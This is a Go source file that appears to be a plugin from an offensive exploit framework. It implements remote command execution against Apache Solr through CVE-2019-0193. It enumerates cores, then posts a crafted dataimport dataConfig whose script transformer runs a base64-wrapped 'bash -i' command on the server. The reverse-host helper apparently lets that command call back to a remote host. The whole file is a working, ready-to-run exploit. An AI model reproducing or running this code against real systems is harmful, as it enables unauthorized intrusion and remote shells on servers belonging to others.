package drops

import (
	"bytes"
	"context"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"github.com/dlclark/regexp2"
	"net/http"
	"net/url"
	"time"
)

type SolrCve20190193 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SolrCve20190193
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SolrCve20190193) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "5d2a75cd-1679-4de7-b711-65a51710bdb0",
		VulId:   "2a3580fa-0896-4511-bc78-ad4d4c650efa",
		Name:    "Solr_CVE_2019_0193-rce",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *SolrCve20190193) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data1 []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req1 := reqAsset.Req.Clone()
	newUrl1, err := url.Parse(req1.GetUrl().String() + `/solr/admin/cores?wt=json`)
	req1.RawRequest.URL = newUrl1
	resp, err := expContext.HttpClient.Do(ctx, req1)
	if err != nil || resp.GetStatus() != 200 {
		return nil, err
	}

	rexp, err := regexp2.Compile("\"name\":\"(?P<core>.*?)\"", regexp2.RE2)
	if err != nil {
		return nil, err
	}

	match, err := rexp.FindRunesMatch(bytes.Runes(resp.Body))
	if err != nil {
		return nil, err
	}

	m := make(map[string]string)
	if match != nil {
		for _, group := range match.Groups() {
			m[group.Name] = group.Capture.String()
		}
	}
	core, ok := m["core"]
	if !ok {
		return nil, err
	}
	req := reqAsset.Req.Clone()

	//for _, cmd := range expContext.CommandToExecute {
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	newCmd := url.QueryEscape(res)
	data := `command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22` + newCmd + `%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport`
	newUrl, err := url.Parse(req.GetUrl().String() + `/solr/` + core + `/dataimport?_=1565835261600&indent=on&wt=json`)

	if err != nil {
		return nil, err
	}
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.URL = newUrl
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0")
	req.RawRequest.Header.Set("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Set("Accept", "application/json, text/plain, */*")
	req.RawRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.RawRequest.Header.Set("Content-Length", "691")
	req.SetBody([]byte(data))
	resp, err = expContext.HttpClient.Do(ctx, req)
	if err != nil {
		return nil, err
	}
	data1 = append(data1, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	if err != nil {
		return nil, err
	}
	time.Sleep(time.Second * 1)
	//}
	return data1, nil
}
func (t *SolrCve20190193) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *SolrCve20190193) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
